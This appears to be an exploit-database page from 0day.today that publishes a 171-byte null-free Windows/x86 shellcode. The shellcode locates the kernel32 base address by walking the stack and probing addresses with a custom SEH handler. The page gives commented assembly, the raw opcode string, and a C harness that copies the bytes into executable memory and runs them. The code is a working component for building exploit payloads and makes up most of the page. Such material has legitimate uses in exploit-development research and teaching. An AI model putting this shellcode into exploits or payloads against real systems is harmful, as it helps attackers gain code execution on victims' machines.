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Windows/x86 - Locate kernel32 base address / Stack Crack method NullFree Shellcode (171 bytes)

🗓️ 08 Feb 2022 00:00:00Reported by Tarek AhmedType 
zdt
 zdt
🔗 0day.today👁 247 Views

This shellcode method locates kernel32 base address using SEH handle

Code
# Shellcode Title: Windows/x86 - Locate kernel32 base address / Stack Crack method NullFree Shellcode (171 bytes)
# Description:
# This shellcode is a new method to find kernel32 base address by walking down the stack and look for a possible Kernel32 address using custom SEH handler.
# Each address found on the stack will be tested using the Exception handling function. If it's valid and starts with 7, then it's a possible kernel32 address.
# Shellcode Author: Tarek Ahmed
# Tested on: Microsoft Windows 7, and 10

/*

MIT License

Copyright (c) 2022 Tarek Ahmed

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

sub esp, 8
xor eax, eax
cdq
xchg edx, ecx


StackWalk :
  mov ebx, [esp + ecx]  ; Walking down the stack to find a possible kernel32 pointer
  mov edx, ebx
  shr ebx, 28    ; Shift right 28 to get the last digit in the address, (looking for 7)    
  add ecx, 4
  cmp ebx, 7    ; is it 7 ?
  jne StackWalk
  jmp short checking

checkAddress :
  push ebp
  mov ebp, esp
  jmp rev1          ; jmp down to rev1 and up again to avoid null bytes and get the address of next instruciton.
  reverse:    
  pop eax
  jmp eax
  rev1:
  call reverse    
  add eax, 0x1e        
  push eax
  xor edi, edi
  push dword ptr FS : [edi]      ; Push FS[0] SEH
  mov dword ptr fs : [edi] , esp    ; set up or SEH stack
  mov eax, dword ptr ss : [ebp + 8]
        xchg eax, esi        ; We want to call [esi] instead of [eax] next to avoid null bytes
  mov eax, dword ptr ds : [esi] 

  xor eax, eax

  jmp short cleanseh

  
  xor eax, eax
  inc eax    
  mov esp, dword ptr fs : [edi]
  mov esp, dword ptr ss : [esp]


cleanseh :
  pop dword ptr fs : [edi]
  add esp, 4
  pop ebp
  ret


checking:

  mov [ebp-0xc], ecx
  push edx        ; Push the address we want to check if it's valid or not
  call checkAddress    ; call the custom SEH function
  test eax, eax      ; is it valid ? 0 ?
  je valid
  mov ecx, [ebp-0xc]
  jmp short StackWalk


valid :
  mov ecx, [ebp-0xc]
  mov ax, 0xffff      ; We want to subtract 0x10000 from the address we found 0xffff + 1 = 0x10000
  inc eax


  findMZ:
  sub edx, eax      ; Sub 0x10000 from the possible address
  mov dx, ax
  mov ax, [edx]
  cmp ax, 0x5a4d      ; check for MZ to make sure it's a DLL file.
  jne findMZ      ; If not, subtract one more 0x10000 to get a different section.
  xchg edx, ebx
  mov edi, [ebx + 0x3c]    ; Walk the PE file
  add edi, ebx
  mov edi, [edi + 0x78]
  add edi, ebx
  mov edi, [edi + 0xc]
  add edi, ebx
  add edi, 4

  xor eax, eax
  push eax
  push 0x6c6c642e      ; string .dll
  push 0x32334c45      ; string EL32  = EL32.dll short for KERNEL32.dll
  mov esi, esp

checkKernel :
  mov edx, ecx
  mov cl, 8      ; Compare string to KERNEL32.dll EDI ==> KERNEl32.dll
  cld

  repe cmpsb    
  test ecx, ecx
  je foundKernel      ; if equal, jmp to foundKernel
  mov ecx, edx
  jmp StackWalk    

foundKernel :
          ; Kernel32 base address should be in EBX if you reach this line.


*/

#include <windows.h>
#include <iostream>
#include <stdlib.h>
#include <stdio.h>


unsigned char code[] = "\x83\xEC\x08\x31\xC0\x99\x87\xCA\x8B\x1C\x0C\x89\xDA\xC1\xEB\x1C\x83\xC1\x04\x83\xFB\x07\x75\xF0\xEB\x34\x55\x89\xE5\xEB\x03\x58\xFF\xE0\xE8\xF8\xFF\xFF\xFF\x83\xC0\x1E\x50\x31\xFF\x64\xFF\x37\x64\x89\x27\x8B\x45\x08\x96\x8B\x06\x31\xC0\xEB\x09\x31\xC0\x40\x64\x8B\x27\x8B\x24\x24\x64\x8F\x07\x83\xC4\x04\x5D\xC3\x89\x4D\xF4\x52\xE8\xC3\xFF\xFF\xFF\x85\xC0\x74\x05\x8B\x4D\xF4\xEB\xA8\x8B\x4D\xF4\x66\xB8\xFF\xFF\x40\x29\xC2\x66\x89\xC2\x66\x8B\x02\x66\x3D\x4D\x5A\x75\xF2\x87\xDA\x8B\x7B\x3C\x01\xDF\x8B\x7F\x78\x01\xDF\x8B\x7F\x0C\x01\xDF\x83\xC7\x04\x31\xC0\x50\x68\x2E\x64\x6C\x6C\x68\x45\x4C\x33\x32\x89\xE6\x89\xCA\xB1\x08\xFC\xF3\xA6\x85\xC9\x74\x07\x89\xD1\xE9\x5D\xFF\xFF\xFF"

;

int main()
{
  

  void* exec = VirtualAlloc(0, sizeof(code), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  memcpy(exec, code, sizeof(code));
  ((void(*)())exec)();

  return 0;
  



}

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08 Feb 2022 00:00Current
0.1Low risk
Vulners AI Score0.1
247